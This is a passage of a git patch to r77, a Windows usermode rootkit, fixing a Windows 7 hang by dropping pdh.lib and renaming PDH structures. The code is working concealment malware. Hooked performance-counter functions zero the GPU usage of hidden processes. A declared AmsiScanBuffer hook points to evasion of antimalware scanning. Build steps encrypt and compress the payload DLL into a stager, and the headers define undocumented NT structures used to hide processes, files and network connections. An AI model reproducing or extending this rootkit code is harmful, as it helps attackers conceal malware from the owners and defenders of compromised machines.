From c84a43246c5af42210444ac23025616f125cbc8d Mon Sep 17 00:00:00 2001 From: Martin Fischer Date: Sun, 22 Dec 2024 13:25:59 +0100 Subject: [PATCH] Bugfix: Linking pdh.lib causes hangs in Windows 7 --- r77-x64/r77-x64.vcxproj | 132 +-- r77-x86/r77-x86.vcxproj | 132 +-- r77/Hooks.c | 30 +- r77/Hooks.h | 4 +- r77api/ntdll.h | 1420 +++++++++++++------------ r77api/r77win.c | 2161 ++++++++++++++++++++------------------- r77api/r77win.h | 624 +++++------ 7 files changed, 2296 insertions(+), 2207 deletions(-) diff --git a/r77-x64/r77-x64.vcxproj b/r77-x64/r77-x64.vcxproj index 5424529..c15a1e7 100644 --- a/r77-x64/r77-x64.vcxproj +++ b/r77-x64/r77-x64.vcxproj @@ -1,70 +1,70 @@ - - - - - Release - x64 - - - - 16.0 - Win32Proj - {06af1d64-f2fc-4767-8794-7313c7bb0a40} - r77x64 - 10.0 - - - - DynamicLibrary - false - v143 - true - Unicode - - - - - - - - - - - - - - false - false - - - - Level3 - true - true - false - %(PreprocessorDefinitions) - true - MultiThreaded - false - MinSpace - Size - CompileAsC - - - Windows - true - true - false - ntdll.lib;shlwapi.lib;taskschd.lib;pdh.lib;..\SlnBin\x64\detours.lib;%(AdditionalDependencies) - - + + + + + Release + x64 + + + + 16.0 + Win32Proj + {06af1d64-f2fc-4767-8794-7313c7bb0a40} + r77x64 + 10.0 + + + + DynamicLibrary + false + v143 + true + Unicode + + + + + + + + + + + + + + false + false + + + + Level3 + true + true + false + %(PreprocessorDefinitions) + true + MultiThreaded + false + MinSpace + Size + CompileAsC + + + Windows + true + true + false + ntdll.lib;shlwapi.lib;taskschd.lib;..\SlnBin\x64\detours.lib;%(AdditionalDependencies) + + mkdir "$(SolutionDir)$Build" xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build" echo F|xcopy /I /Y "$(TargetPath)" "$(SolutionDir)Stager\Resources\$(TargetName).dll" -"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(SolutionDir)Stager\Resources\$(TargetName).dll" -compress -encrypt - - - - - +"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(SolutionDir)Stager\Resources\$(TargetName).dll" -compress -encrypt + + + + + \ No newline at end of file diff --git a/r77-x86/r77-x86.vcxproj b/r77-x86/r77-x86.vcxproj index 02b3de0..9867c39 100644 --- a/r77-x86/r77-x86.vcxproj +++ b/r77-x86/r77-x86.vcxproj @@ -1,70 +1,70 @@ - - - - - Release - Win32 - - - - 16.0 - Win32Proj - {1ba54a13-b390-47b3-9628-b58a2bba193b} - r77x86 - 10.0 - - - - DynamicLibrary - false - v143 - true - Unicode - - - - - - - - - - - - - - false - false - - - - Level3 - true - true - false - WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - MultiThreaded - false - MinSpace - Size - CompileAsC - - - Windows - true - true - false - ntdll.lib;shlwapi.lib;taskschd.lib;pdh.lib;..\SlnBin\x86\detours.lib;%(AdditionalDependencies) - - + + + + + Release + Win32 + + + + 16.0 + Win32Proj + {1ba54a13-b390-47b3-9628-b58a2bba193b} + r77x86 + 10.0 + + + + DynamicLibrary + false + v143 + true + Unicode + + + + + + + + + + + + + + false + false + + + + Level3 + true + true + false + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MultiThreaded + false + MinSpace + Size + CompileAsC + + + Windows + true + true + false + ntdll.lib;shlwapi.lib;taskschd.lib;..\SlnBin\x86\detours.lib;%(AdditionalDependencies) + + mkdir "$(SolutionDir)$Build" xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build" echo F|xcopy /I /Y "$(TargetPath)" "$(SolutionDir)Stager\Resources\$(TargetName).dll" -"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(SolutionDir)Stager\Resources\$(TargetName).dll" -compress -encrypt - - - - - +"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(SolutionDir)Stager\Resources\$(TargetName).dll" -compress -encrypt + + + + + \ No newline at end of file diff --git a/r77/Hooks.c b/r77/Hooks.c index a875fb0..0aa1109 100644 --- a/r77/Hooks.c +++ b/r77/Hooks.c @@ -568,23 +568,23 @@ static NTSTATUS NTAPI HookedNtDeviceIoControlFile(HANDLE fileHandle, HANDLE even return status; } -static PDH_STATUS WINAPI HookedPdhGetRawCounterArrayW(PDH_HCOUNTER counter, LPDWORD bufferSize, LPDWORD itemCount, PPDH_RAW_COUNTER_ITEM_W itemBuffer) +static PDH_STATUS WINAPI HookedPdhGetRawCounterArrayW(PDH_HCOUNTER counter, LPDWORD bufferSize, LPDWORD itemCount, PNT_PDH_RAW_COUNTER_ITEM_W itemBuffer) { PDH_STATUS status = OriginalPdhGetRawCounterArrayW(counter, bufferSize, itemCount, itemBuffer); if (status == ERROR_SUCCESS && itemCount && itemBuffer) { DWORD infoBufferSize = 0; - if (PdhGetCounterInfoW(counter, FALSE, &infoBufferSize, NULL) == PDH_MORE_DATA) + if (R77_PdhGetCounterInfoW(counter, FALSE, &infoBufferSize, NULL) == PDH_MORE_DATA) { - PPDH_COUNTER_INFO_W info = (PPDH_COUNTER_INFO_W)NEW_ARRAY(BYTE, infoBufferSize); - if (PdhGetCounterInfoW(counter, FALSE, &infoBufferSize, info) == ERROR_SUCCESS) + PNT_PDH_COUNTER_INFO_W info = (PNT_PDH_COUNTER_INFO_W)NEW_ARRAY(BYTE, infoBufferSize); + if (R77_PdhGetCounterInfoW(counter, FALSE, &infoBufferSize, info) == ERROR_SUCCESS) { - if (!StrCmpW(info->szFullPath, L"\\GPU Engine(*)\\Running Time")) + if (!StrCmpW(info->FullPath, L"\\GPU Engine(*)\\Running Time")) { for (DWORD i = 0; i < *itemCount; i++) { - if (GetIsHiddenFromPdhString(itemBuffer[i].szName)) + if (GetIsHiddenFromPdhString(itemBuffer[i].Name)) { itemBuffer[i].RawValue.FirstValue = 0; itemBuffer[i].RawValue.SecondValue = 0; @@ -600,27 +600,27 @@ static PDH_STATUS WINAPI HookedPdhGetRawCounterArrayW(PDH_HCOUNTER counter, LPDW return status; } -static PDH_STATUS WINAPI HookedPdhGetFormattedCounterArrayW(PDH_HCOUNTER counter, DWORD format, LPDWORD bufferSize, LPDWORD itemCount, PPDH_FMT_COUNTERVALUE_ITEM_W itemBuffer) +static PDH_STATUS WINAPI HookedPdhGetFormattedCounterArrayW(PDH_HCOUNTER counter, DWORD format, LPDWORD bufferSize, LPDWORD itemCount, PNT_PDH_FMT_COUNTERVALUE_ITEM_W itemBuffer) { PDH_STATUS status = OriginalPdhGetFormattedCounterArrayW(counter, format, bufferSize, itemCount, itemBuffer); if (status == ERROR_SUCCESS && itemCount && itemBuffer) { DWORD infoBufferSize = 0; - if (PdhGetCounterInfoW(counter, FALSE, &infoBufferSize, NULL) == PDH_MORE_DATA) + if (R77_PdhGetCounterInfoW(counter, FALSE, &infoBufferSize, NULL) == PDH_MORE_DATA) { - PPDH_COUNTER_INFO_W info = (PPDH_COUNTER_INFO_W)NEW_ARRAY(BYTE, infoBufferSize); - if (PdhGetCounterInfoW(counter, FALSE, &infoBufferSize, info) == ERROR_SUCCESS) + PNT_PDH_COUNTER_INFO_W info = (PNT_PDH_COUNTER_INFO_W)NEW_ARRAY(BYTE, infoBufferSize); + if (R77_PdhGetCounterInfoW(counter, FALSE, &infoBufferSize, info) == ERROR_SUCCESS) { - if (!StrCmpW(info->szFullPath, L"\\GPU Engine(*)\\Utilization Percentage")) + if (!StrCmpW(info->FullPath, L"\\GPU Engine(*)\\Utilization Percentage")) { for (DWORD i = 0; i < *itemCount; i++) { - if (GetIsHiddenFromPdhString(itemBuffer[i].szName)) + if (GetIsHiddenFromPdhString(itemBuffer[i].Name)) { - itemBuffer[i].FmtValue.longValue = 0; - itemBuffer[i].FmtValue.doubleValue = 0; - itemBuffer[i].FmtValue.largeValue = 0; + itemBuffer[i].FmtValue.LongValue = 0; + itemBuffer[i].FmtValue.DoubleValue = 0; + itemBuffer[i].FmtValue.LargeValue = 0; } } } diff --git a/r77/Hooks.h b/r77/Hooks.h index dcf3e05..a40bb74 100644 --- a/r77/Hooks.h +++ b/r77/Hooks.h @@ -25,8 +25,8 @@ static BOOL WINAPI HookedEnumServiceGroupW(SC_HANDLE serviceManager, DWORD servi static BOOL WINAPI HookedEnumServicesStatusExW(SC_HANDLE serviceManager, SC_ENUM_TYPE infoLevel, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPCWSTR groupName); static BOOL WINAPI HookedEnumServicesStatusExW2(SC_HANDLE serviceManager, SC_ENUM_TYPE infoLevel, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPCWSTR groupName); static NTSTATUS NTAPI HookedNtDeviceIoControlFile(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, ULONG ioControlCode, LPVOID inputBuffer, ULONG inputBufferLength, LPVOID outputBuffer, ULONG outputBufferLength); -static PDH_STATUS WINAPI HookedPdhGetRawCounterArrayW(PDH_HCOUNTER counter, LPDWORD bufferSize, LPDWORD itemCount, PPDH_RAW_COUNTER_ITEM_W itemBuffer); -static PDH_STATUS WINAPI HookedPdhGetFormattedCounterArrayW(PDH_HCOUNTER counter, DWORD format, LPDWORD bufferSize, LPDWORD itemCount, PPDH_FMT_COUNTERVALUE_ITEM_W itemBuffer); +static PDH_STATUS WINAPI HookedPdhGetRawCounterArrayW(PDH_HCOUNTER counter, LPDWORD bufferSize, LPDWORD itemCount, PNT_PDH_RAW_COUNTER_ITEM_W itemBuffer); +static PDH_STATUS WINAPI HookedPdhGetFormattedCounterArrayW(PDH_HCOUNTER counter, DWORD format, LPDWORD bufferSize, LPDWORD itemCount, PNT_PDH_FMT_COUNTERVALUE_ITEM_W itemBuffer); static HRESULT WINAPI HookedAmsiScanBuffer(LPVOID amsiContext, LPVOID buffer, ULONG length, LPCWSTR contentName, LPVOID amsiSession, LPDWORD result); static BOOL GetProcessHiddenTimes(PLARGE_INTEGER hiddenKernelTime, PLARGE_INTEGER hiddenUserTime, PLONGLONG hiddenCycleTime); diff --git a/r77api/ntdll.h b/r77api/ntdll.h index 865f70f..c03010d 100644 --- a/r77api/ntdll.h +++ b/r77api/ntdll.h @@ -1,669 +1,753 @@ -#include "r77mindef.h" -#include -#ifndef _NTDLL_H -#define _NTDLL_H - -#define STATUS_NO_MORE_FILES ((NTSTATUS)0x80000006L) -#define PDH_MORE_DATA ((PDH_STATUS)0x800007d2L) - -#define SL_RESTART_SCAN 0x01 -#define SL_RETURN_SINGLE_ENTRY 0x02 -#define SL_INDEX_SPECIFIED 0x04 -#define SL_RETURN_ON_DISK_ENTRIES_ONLY 0x08 -#define SL_NO_CURSOR_UPDATE 0x10 - -#define DEVICE_NSI L"\\Device\\Nsi" -#define IOCTL_NSI_GETALLPARAM 0x12001b - -typedef enum _NT_SYSTEM_INFORMATION_CLASS -{ - SystemProcessorInformation = 1, - SystemPathInformation = 4, - SystemCallCountInformation = 6, - SystemDeviceInformation = 7, - SystemFlagsInformation = 9, - SystemCallTimeInformation = 10, - SystemModuleInformation = 11, - SystemLocksInformation = 12, - SystemStackTraceInformation = 13, - SystemPagedPoolInformation = 14, - SystemNonPagedPoolInformation = 15, - SystemHandleInformation = 16, - SystemObjectInformation = 17, - SystemPageFileInformation = 18, - SystemVdmInstemulInformation = 19, - SystemVdmBopInformation = 20, - SystemFileCacheInformation = 21, - SystemPoolTagInformation = 22, - SystemDpcBehaviorInformation = 24, - SystemFullMemoryInformation = 25, - SystemLoadGdiDriverInformation = 26, - SystemUnloadGdiDriverInformation = 27, - SystemTimeAdjustmentInformation = 28, - SystemSummaryMemoryInformation = 29, - SystemMirrorMemoryInformation = 30, - SystemPerformanceTraceInformation = 31, - SystemObsolete0 = 32, - SystemCrashDumpStateInformation = 34, - SystemKernelDebuggerInformation = 35, - SystemContextSwitchInformation = 36, - SystemExtendServiceTableInformation = 38, - SystemPrioritySeperation = 39, - SystemVerifierAddDriverInformation = 40, - SystemVerifierRemoveDriverInformation = 41, - SystemProcessorIdleInformation = 42, - SystemLegacyDriverInformation = 43, - SystemCurrentTimeZoneInformation = 44, - SystemTimeSlipNotification = 46, - SystemSessionCreate = 47, - SystemSessionDetach = 48, - SystemSessionInformation = 49, - SystemRangeStartInformation = 50, - SystemVerifierInformation = 51, - SystemVerifierThunkExtend = 52, - SystemSessionProcessInformation = 53, - SystemLoadGdiDriverInSystemSpace = 54, - SystemNumaProcessorMap = 55, - SystemPrefetcherInformation = 56, - SystemExtendedProcessInformation = 57, - SystemRecommendedSharedDataAlignment = 58, - SystemComPlusPackage = 59, - SystemNumaAvailableMemory = 60, - SystemProcessorPowerInformation = 61, - SystemEmulationBasicInformation = 62, - SystemEmulationProcessorInformation = 63, - SystemExtendedHandleInformation = 64, - SystemLostDelayedWriteInformation = 65, - SystemBigPoolInformation = 66, - SystemSessionPoolTagInformation = 67, - SystemSessionMappedViewInformation = 68, - SystemHotpatchInformation = 69, - SystemObjectSecurityMode = 70, - SystemWatchdogTimerHandler = 71, - SystemWatchdogTimerInformation = 72, - SystemLogicalProcessorInformation = 73, - SystemWow64SharedInformationObsolete = 74, - SystemRegisterFirmwareTableInformationHandler = 75, - SystemFirmwareTableInformation = 76, - SystemModuleInformationEx = 77, - SystemVerifierTriageInformation = 78, - SystemSuperfetchInformation = 79, - SystemMemoryListInformation = 80, - SystemFileCacheInformationEx = 81, - SystemThreadPriorityClientIdInformation = 82, - SystemProcessorIdleCycleTimeInformation = 83, - SystemVerifierCancellationInformation = 84, - SystemProcessorPowerInformationEx = 85, - SystemRefTraceInformation = 86, - SystemSpecialPoolInformation = 87, - SystemProcessIdInformation = 88, - SystemErrorPortInformation = 89, - SystemBootEnvironmentInformation = 90, - SystemHypervisorInformation = 91, - SystemVerifierInformationEx = 92, - SystemTimeZoneInformation = 93, - SystemImageFileExecutionOptionsInformation = 94, - SystemCoverageInformation = 95, - SystemPrefetchPatchInformation = 96, - SystemVerifierFaultsInformation = 97, - SystemSystemPartitionInformation = 98, - SystemSystemDiskInformation = 99, - SystemProcessorPerformanceDistribution = 100, - SystemNumaProximityNodeInformation = 101, - SystemDynamicTimeZoneInformation = 102, - SystemProcessorMicrocodeUpdateInformation = 104, - SystemProcessorBrandString = 105, - SystemVirtualAddressInformation = 106, - SystemLogicalProcessorAndGroupInformation = 107, - SystemProcessorCycleTimeInformation = 108, - SystemStoreInformation = 109, - SystemRegistryAppendString = 110, - SystemAitSamplingValue = 111, - SystemVhdBootInformation = 112, - SystemCpuQuotaInformation = 113, - SystemNativeBasicInformation = 114, - SystemErrorPortTimeouts = 115, - SystemLowPriorityIoInformation = 116, - SystemTpmBootEntropyInformation = 117, - SystemVerifierCountersInformation = 118, - SystemPagedPoolInformationEx = 119, - SystemSystemPtesInformationEx = 120, - SystemNodeDistanceInformation = 121, - SystemAcpiAuditInformation = 122, - SystemBasicPerformanceInformation = 123, - SystemQueryPerformanceCounterInformation = 124, - SystemSessionBigPoolInformation = 125, - SystemBootGraphicsInformation = 126, - SystemScrubPhysicalMemoryInformation = 127, - SystemBadPageInformation = 128, - SystemProcessorProfileControlArea = 129, - SystemCombinePhysicalMemoryInformation = 130, - SystemEntropyInterruptTimingInformation = 131, - SystemConsoleInformation = 132, - SystemPlatformBinaryInformation = 133, - SystemHypervisorProcessorCountInformation = 135, - SystemDeviceDataInformation = 136, - SystemDeviceDataEnumerationInformation = 137, - SystemMemoryTopologyInformation = 138, - SystemMemoryChannelInformation = 139, - SystemBootLogoInformation = 140, - SystemProcessorPerformanceInformationEx = 141, - SystemCriticalProcessErrorLogInformation = 142, - SystemSecureBootPolicyInformation = 143, - SystemPageFileInformationEx = 144, - SystemSecureBootInformation = 145, - SystemEntropyInterruptTimingRawInformation = 146, - SystemPortableWorkspaceEfiLauncherInformation = 147, - SystemFullProcessInformation = 148, - SystemKernelDebuggerInformationEx = 149, - SystemBootMetadataInformation = 150, - SystemSoftRebootInformation = 151, - SystemElamCertificateInformation = 152, - SystemOfflineDumpConfigInformation = 153, - SystemProcessorFeaturesInformation = 154, - SystemRegistryReconciliationInformation = 155, - SystemEdidInformation = 156, - SystemManufacturingInformation = 157, - SystemEnergyEstimationConfigInformation = 158, - SystemHypervisorDetailInformation = 159, - SystemProcessorCycleStatsInformation = 160, - SystemVmGenerationCountInformation = 161, - SystemTrustedPlatformModuleInformation = 162, - SystemKernelDebuggerFlags = 163, - SystemCodeIntegrityPolicyInformation = 164, - SystemIsolatedUserModeInformation = 165, - SystemHardwareSecurityTestInterfaceResultsInformation = 166, - SystemSingleModuleInformation = 167, - SystemAllowedCpuSetsInformation = 168, - SystemVsmProtectionInformation = 169, - SystemInterruptCpuSetsInformation = 170, - SystemSecureBootPolicyFullInformation = 171, - SystemCodeIntegrityPolicyFullInformation = 172, - SystemAffinitizedInterruptProcessorInformation = 173, - SystemRootSiloInformation = 174, - SystemCpuSetInformation = 175, - SystemCpuSetTagInformation = 176, - SystemWin32WerStartCallout = 177, - SystemSecureKernelProfileInformation = 178, - SystemCodeIntegrityPlatformManifestInformation = 179, - SystemInterruptSteeringInformation = 180, - SystemSupportedProcessorArchitectures = 181, - SystemMemoryUsageInformation = 182, - SystemCodeIntegrityCertificateInformation = 183, - SystemPhysicalMemoryInformation = 184, - SystemControlFlowTransition = 185, - SystemKernelDebuggingAllowed = 186, - SystemActivityModerationExeState = 187, - SystemActivityModerationUserSettings = 188, - SystemCodeIntegrityPoliciesFullInformation = 189, - SystemCodeIntegrityUnlockInformation = 190, - SystemIntegrityQuotaInformation = 191, - SystemFlushInformation = 192, - SystemProcessorIdleMaskInformation = 193, - SystemSecureDumpEncryptionInformation = 194, - SystemWriteConstraintInformation = 195, - SystemKernelVaShadowInformation = 196, - SystemHypervisorSharedPageInformation = 197, - SystemFirmwareBootPerformanceInformation = 198, - SystemCodeIntegrityVerificationInformation = 199, - SystemFirmwarePartitionInformation = 200, - SystemSpeculationControlInformation = 201, - SystemDmaGuardPolicyInformation = 202, - SystemEnclaveLaunchControlInformation = 203, - SystemWorkloadAllowedCpuSetsInformation = 204, - SystemCodeIntegrityUnlockModeInformation = 205, - SystemLeapSecondInformation = 206, - SystemFlags2Information = 207, - SystemSecurityModelInformation = 208, - SystemCodeIntegritySyntheticCacheInformation = 209, - SystemFeatureConfigurationInformation = 210, - SystemFeatureConfigurationSectionInformation = 211, - SystemFeatureUsageSubscriptionInformation = 212, - SystemSecureSpeculationControlInformation = 213 -} NT_SYSTEM_INFORMATION_CLASS; - -typedef struct _NT_SYSTEM_PROCESS_INFORMATION -{ - ULONG NextEntryOffset; - ULONG NumberOfThreads; - LARGE_INTEGER WorkingSetPrivateSize; - ULONG HardFaultCount; - ULONG NumberOfThreadsHighWatermark; - ULONGLONG CycleTime; - LARGE_INTEGER CreateTime; - LARGE_INTEGER UserTime; - LARGE_INTEGER KernelTime; - UNICODE_STRING ImageName; - ULONG BasePriority; - HANDLE ProcessId; - HANDLE InheritedFromProcessId; -} NT_SYSTEM_PROCESS_INFORMATION, *PNT_SYSTEM_PROCESS_INFORMATION; - -typedef struct _NT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION -{ - LARGE_INTEGER IdleTime; - LARGE_INTEGER KernelTime; - LARGE_INTEGER UserTime; - LARGE_INTEGER DpcTime; - LARGE_INTEGER InterruptTime; - ULONG InterruptCount; -} NT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION, *PNT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION; - -typedef struct _NT_SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION -{ - ULONGLONG CycleTime; -} NT_SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION, *PNT_SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION; - -typedef enum _NT_FILE_INFORMATION_CLASS -{ - FileFullDirectoryInformation = 2, - FileBothDirectoryInformation, - FileBasicInformation, - FileStandardInformation, - FileInternalInformation, - FileEaInformation, - FileAccessInformation, - FileNameInformation, - FileRenameInformation, - FileLinkInformation, - FileNamesInformation, - FileDispositionInformation, - FilePositionInformation, - FileFullEaInformation, - FileModeInformation, - FileAlignmentInformation, - FileAllInformation, - FileAllocationInformation, - FileEndOfFileInformation, - FileAlternateNameInformation, - FileStreamInformation, - FilePipeInformation, - FilePipeLocalInformation, - FilePipeRemoteInformation, - FileMailslotQueryInformation, - FileMailslotSetInformation, - FileCompressionInformation, - FileObjectIdInformation, - FileCompletionInformation, - FileMoveClusterInformation, - FileQuotaInformation, - FileReparsePointInformation, - FileNetworkOpenInformation, - FileAttributeTagInformation, - FileTrackingInformation, - FileIdBothDirectoryInformation, - FileIdFullDirectoryInformation, - FileValidDataLengthInformation, - FileShortNameInformation, - FileIoCompletionNotificationInformation, - FileIoStatusBlockRangeInformation, - FileIoPriorityHintInformation, - FileSfioReserveInformation, - FileSfioVolumeInformation, - FileHardLinkInformation, - FileProcessIdsUsingFileInformation, - FileNormalizedNameInformation, - FileNetworkPhysicalNameInformation, - FileIdGlobalTxDirectoryInformation, - FileIsRemoteDeviceInformation, - FileUnusedInformation, - FileNumaNodeInformation, - FileStandardLinkInformation, - FileRemoteProtocolInformation, - FileRenameInformationBypassAccessCheck, - FileLinkInformationBypassAccessCheck, - FileVolumeNameInformation, - FileIdInformation, - FileIdExtdDirectoryInformation, - FileReplaceCompletionInformation, - FileHardLinkFullIdInformation, - FileIdExtdBothDirectoryInformation, - FileMaximumInformation -} NT_FILE_INFORMATION_CLASS; - -typedef struct _NT_FILE_BOTH_DIR_INFORMATION -{ - ULONG NextEntryOffset; - ULONG FileIndex; - LARGE_INTEGER CreationTime; - LARGE_INTEGER LastAccessTime; - LARGE_INTEGER LastWriteTime; - LARGE_INTEGER ChangeTime; - LARGE_INTEGER EndOfFile; - LARGE_INTEGER AllocationSize; - ULONG FileAttributes; - ULONG FileNameLength; - ULONG EaSize; - CCHAR ShortNameLength; - WCHAR ShortName[12]; - WCHAR FileName[1]; -} NT_FILE_BOTH_DIR_INFORMATION, *PNT_FILE_BOTH_DIR_INFORMATION; - -typedef struct _NT_FILE_DIRECTORY_INFORMATION -{ - ULONG NextEntryOffset; - ULONG FileIndex; - LARGE_INTEGER CreationTime; - LARGE_INTEGER LastAccessTime; - LARGE_INTEGER LastWriteTime; - LARGE_INTEGER ChangeTime; - LARGE_INTEGER EndOfFile; - LARGE_INTEGER AllocationSize; - ULONG FileAttributes; - ULONG FileNameLength; - WCHAR FileName[1]; -} NT_FILE_DIRECTORY_INFORMATION, *PNT_FILE_DIRECTORY_INFORMATION; - -typedef struct _NT_FILE_FULL_DIR_INFORMATION -{ - ULONG NextEntryOffset; - ULONG FileIndex; - LARGE_INTEGER CreationTime; - LARGE_INTEGER LastAccessTime; - LARGE_INTEGER LastWriteTime; - LARGE_INTEGER ChangeTime; - LARGE_INTEGER EndOfFile; - LARGE_INTEGER AllocationSize; - ULONG FileAttributes; - ULONG FileNameLength; - ULONG EaSize; - WCHAR FileName[1]; -} NT_FILE_FULL_DIR_INFORMATION, *PNT_FILE_FULL_DIR_INFORMATION; - -typedef struct _NT_FILE_ID_BOTH_DIR_INFORMATION -{ - ULONG NextEntryOffset; - ULONG FileIndex; - LARGE_INTEGER CreationTime; - LARGE_INTEGER LastAccessTime; - LARGE_INTEGER LastWriteTime; - LARGE_INTEGER ChangeTime; - LARGE_INTEGER EndOfFile; - LARGE_INTEGER AllocationSize; - ULONG FileAttributes; - ULONG FileNameLength; - ULONG EaSize; - CCHAR ShortNameLength; - WCHAR ShortName[12]; - LARGE_INTEGER FileId; - WCHAR FileName[1]; -} NT_FILE_ID_BOTH_DIR_INFORMATION, *PNT_FILE_ID_BOTH_DIR_INFORMATION; - -typedef struct _NT_FILE_ID_FULL_DIR_INFORMATION -{ - ULONG NextEntryOffset; - ULONG FileIndex; - LARGE_INTEGER CreationTime; - LARGE_INTEGER LastAccessTime; - LARGE_INTEGER LastWriteTime; - LARGE_INTEGER ChangeTime; - LARGE_INTEGER EndOfFile; - LARGE_INTEGER AllocationSize; - ULONG FileAttributes; - ULONG FileNameLength; - ULONG EaSize; - LARGE_INTEGER FileId; - WCHAR FileName[1]; -} NT_FILE_ID_FULL_DIR_INFORMATION, *PNT_FILE_ID_FULL_DIR_INFORMATION; - -typedef struct _NT_FILE_NAMES_INFORMATION -{ - ULONG NextEntryOffset; - ULONG FileIndex; - ULONG FileNameLength; - WCHAR FileName[1]; -} NT_FILE_NAMES_INFORMATION, *PNT_FILE_NAMES_INFORMATION; - -typedef enum _NT_KEY_INFORMATION_CLASS -{ - KeyBasicInformation, - KeyNodeInformation, - KeyFullInformation, - KeyNameInformation -} NT_KEY_INFORMATION_CLASS; - -typedef enum _NT_KEY_VALUE_INFORMATION_CLASS -{ - KeyValueBasicInformation, - KeyValueFullInformation, - KeyValuePartialInformation -} NT_KEY_VALUE_INFORMATION_CLASS; - -typedef struct _NT_KEY_BASIC_INFORMATION -{ - LARGE_INTEGER LastWriteTime; - ULONG TitleIndex; - ULONG NameLength; - WCHAR Name[1]; -} NT_KEY_BASIC_INFORMATION, *PNT_KEY_BASIC_INFORMATION; - -typedef struct _NT_KEY_NAME_INFORMATION -{ - ULONG NameLength; - WCHAR Name[1]; -} NT_KEY_NAME_INFORMATION, *PNT_KEY_NAME_INFORMATION; - -typedef struct _NT_KEY_VALUE_BASIC_INFORMATION -{ - ULONG TitleIndex; - ULONG Type; - ULONG NameLength; - WCHAR Name[1]; -} NT_KEY_VALUE_BASIC_INFORMATION, *PNT_KEY_VALUE_BASIC_INFORMATION; - -typedef struct _NT_KEY_VALUE_FULL_INFORMATION -{ - ULONG TitleIndex; - ULONG Type; - ULONG DataOffset; - ULONG DataLength; - ULONG NameLength; - WCHAR Name[1]; -} NT_KEY_VALUE_FULL_INFORMATION, *PNT_KEY_VALUE_FULL_INFORMATION; - -typedef enum _NT_NSI_PARAM_TYPE -{ - NsiUdp = 1, - NsiTcp = 3 -} NT_NSI_PARAM_TYPE; - -typedef struct _NT_NSI_TCP_SUBENTRY -{ - BYTE Reserved1[2]; - USHORT Port; - ULONG IpAddress; - BYTE IpAddress6[16]; - BYTE Reserved2[4]; -} NT_NSI_TCP_SUBENTRY, *PNT_NSI_TCP_SUBENTRY; - -typedef struct _NT_NSI_TCP_ENTRY -{ - NT_NSI_TCP_SUBENTRY Local; - NT_NSI_TCP_SUBENTRY Remote; -} NT_NSI_TCP_ENTRY, *PNT_NSI_TCP_ENTRY; - -typedef struct _NT_NSI_UDP_ENTRY -{ - BYTE Reserved1[2]; - USHORT Port; - ULONG IpAddress; - BYTE IpAddress6[16]; - BYTE Reserved2[4]; -} NT_NSI_UDP_ENTRY, *PNT_NSI_UDP_ENTRY; - -typedef struct _NT_NSI_STATUS_ENTRY -{ - ULONG State; - BYTE Reserved[8]; -} NT_NSI_STATUS_ENTRY, *PNT_NSI_STATUS_ENTRY; - -typedef struct _NT_NSI_PROCESS_ENTRY -{ - ULONG UdpProcessId; - ULONG Reserved1; - ULONG Reserved2; - ULONG TcpProcessId; - ULONG Reserved3; - ULONG Reserved4; - ULONG Reserved5; - ULONG Reserved6; -} NT_NSI_PROCESS_ENTRY, *PNT_NSI_PROCESS_ENTRY; - -typedef struct _NT_NSI_PARAM -{ - // It was really daunting to figure out the contents of this struct... - // There are lots of examples online with "LPVOID Unknown1, Unknown2" and so on. - // However, this should be as close to the actual structure as it gets: - - SIZE_T Reserved1; - SIZE_T Reserved2; - LPVOID ModuleId; - NT_NSI_PARAM_TYPE Type; - ULONG Reserved3; - ULONG Reserved4; - LPVOID Entries; - SIZE_T EntrySize; - LPVOID Reserved5; - SIZE_T Reserved6; - LPVOID StatusEntries; - SIZE_T StatusEntrySize; - LPVOID ProcessEntries; - SIZE_T ProcessEntrySize; - SIZE_T Count; -} NT_NSI_PARAM, *PNT_NSI_PARAM; - -typedef enum _NT_OBJECT_INFORMATION_CLASS -{ - ObjectNameInformation = 1, - ObjectAllInformation = 3, - ObjectDataInformation = 4 -} NT_OBJECT_INFORMATION_CLASS, *PNT_OBJECT_INFORMATION_CLASS; - -typedef struct _NT_LDR_DATA_TABLE_ENTRY -{ - LIST_ENTRY InMemoryOrderModuleList; - LIST_ENTRY InInitializationOrderModuleList; - LPVOID DllBase; - LPVOID EntryPoint; - ULONG SizeOfImage; - UNICODE_STRING FullDllName; - UNICODE_STRING BaseDllName; - ULONG Flags; - SHORT LoadCount; - SHORT TlsIndex; - LIST_ENTRY HashTableEntry; - ULONG TimeDateStamp; -} NT_LDR_DATA_TABLE_ENTRY, *PNT_LDR_DATA_TABLE_ENTRY; - -typedef struct _NT_PEB_LDR_DATA -{ - DWORD Length; - DWORD Initialized; - LPVOID SsHandle; - LIST_ENTRY InLoadOrderModuleList; - LIST_ENTRY InMemoryOrderModuleList; - LIST_ENTRY InInitializationOrderModuleList; - LPVOID EntryInProgress; -} NT_PEB_LDR_DATA, *PNT_PEB_LDR_DATA; - -typedef struct _NT_PEB -{ - BYTE InheritedAddressSpace; - BYTE ReadImageFileExecOptions; - BYTE BeingDebugged; - BYTE SpareBool; - LPVOID Mutant; - LPVOID ImageBaseAddress; - PNT_PEB_LDR_DATA Ldr; - LPVOID ProcessParameters; - LPVOID SubSystemData; - LPVOID ProcessHeap; - PRTL_CRITICAL_SECTION FastPebLock; - LPVOID FastPebLockRoutine; - LPVOID 